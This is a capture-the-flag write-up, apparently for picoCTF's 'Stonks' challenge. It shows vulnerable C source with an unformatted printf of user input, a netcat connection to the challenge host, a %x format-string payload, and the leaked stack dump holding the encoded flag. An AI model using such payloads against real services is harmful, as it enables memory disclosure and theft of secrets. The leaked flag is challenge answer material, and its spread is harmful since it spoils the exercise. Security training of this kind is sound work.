Okay, maybe I'd believe you if you find my API key.
Source Code
#include<stdlib.h>#include<stdio.h>#include<string.h>#include<time.h>#defineFLAG_BUFFER128#defineMAX_SYM_LEN4typedefstruct Stonks {int shares;char symbol[MAX_SYM_LEN +1];struct Stonks *next;} Stonk;typedefstruct Portfolios {int money; Stonk *head;} Portfolio;intview_portfolio(Portfolio *p) {if (!p) {return1; }printf("\nPortfolio as of ");fflush(stdout);system("date"); // TODO: implement this in Cfflush(stdout);printf("\n\n"); Stonk *head =p->head;if (!head) {printf("You don't own any stonks!\n"); }while (head) {printf("%d shares of %s\n",head->shares,head->symbol); head =head->next; }return0;}Stonk *pick_symbol_with_AI(int shares) {if (shares <1) {returnNULL; } Stonk *stonk =malloc(sizeof(Stonk));stonk->shares = shares;int AI_symbol_len = (rand()% MAX_SYM_LEN) +1;for (int i =0; i <= MAX_SYM_LEN; i++) {if (i < AI_symbol_len) {stonk->symbol[i] ='A'+ (rand()%26); } else {stonk->symbol[i] ='\0'; } }stonk->next =NULL;return stonk;}intbuy_stonks(Portfolio *p) {if (!p) {return1; }char api_buf[FLAG_BUFFER]; FILE *f =fopen("api","r");if (!f) {printf("Flag file not found. Contact an admin.\n");exit(1); }fgets(api_buf, FLAG_BUFFER, f);int money =p->money;int shares =0; Stonk *temp =NULL;printf("Using patented AI algorithms to buy stonks\n");while (money >0) { shares = (rand()% money) +1; temp =pick_symbol_with_AI(shares);temp->next =p->head;p->head = temp; money -= shares; }printf("Stonks chosen\n");// TODO: Figure out how to read token from file, for now just askchar*user_buf =malloc(300+1);printf("What is your API token?\n");scanf("%300s", user_buf);printf("Buying stonks with token:\n");printf(user_buf);// TODO: Actually use key to interact with APIview_portfolio(p);return0;}Portfolio *initialize_portfolio() { Portfolio *p =malloc(sizeof(Portfolio));p->money = (rand()%2018) +1;p->head =NULL;return p;}voidfree_portfolio(Portfolio *p) { Stonk *current =p->head; Stonk *next =NULL;while (current) { next =current->next;free(current); current = next; }free(p);}intmain(int argc,char*argv[]){setbuf(stdout,NULL);srand(time(NULL)); Portfolio *p =initialize_portfolio();if (!p) {printf("Memory failure\n");exit(1); }int resp =0;printf("Welcome back to the trading app!\n\n");printf("What would you like to do?\n");printf("1) Buy some stonks!\n");printf("2) View my portfolio\n");scanf("%d",&resp);if (resp ==1) {buy_stonks(p); } elseif (resp ==2) {view_portfolio(p); }free_portfolio(p);printf("Goodbye!\n");exit(0);}
The last printf in the buy_stonks function does not have a format specified. This leads to a format string vulnerability.
The correct use of printf is as follows:
printf(”format String”, Arguments);
If only one argument is provided, we can either print out the string or define the format. If we provide the data format, printf() will try to find the second argument, and when it can’t find anything, it will start printing data from the stack.
Lower address
+-------------------------+
| |
| %x%x%x%x%x%x%x%x%x | <------ For every format specifier, printf
| %x%x%x%x%x%x%x%x%x | will read one byte from the stack
| |
|-------------------------|
| |
| String pointer |
| |
|-------------------------|
| |
| return address |
| |
|-------------------------|
| |
| local variable |
| |
|-------------------------|
| |
| flag |
| |
+-------------------------+
Higher address
The code is already running at mercury.picoctf.net on port 59616. We can connect using netcat.
$ nc mercury.picoctf.net 59616
On connecting we can choose the Buy some stonks! option.
Once we are prompted to enter the API token, we can try and supply a format specifier. In this case we'll use %x which is for printing hexadecimal values.
What is your API token?
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Buying stonks with token:
84ce410804b00080489c3f7efad80ffffffff184cc160f7f08110f7efadc7084cd180884ce3f084ce4106f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3834313634356562ffcb007df7f35af8f7f084401f30c10010f7d97ce9f7f090c0f7efa5c0f7efa000ffcb7b88f7d8868df7efa5c0
There is a dump of hexadecimal characters in the output. Let's try to decode it using Cyberchef.
We can see a string that resembles our flag. However it seems to be mangled.
This is because it is in little-endian format. We can decode this using Cyberchef as well.
The closing bracket is not present because the string was terminated by a NULL byte. But that is fine we can just add it.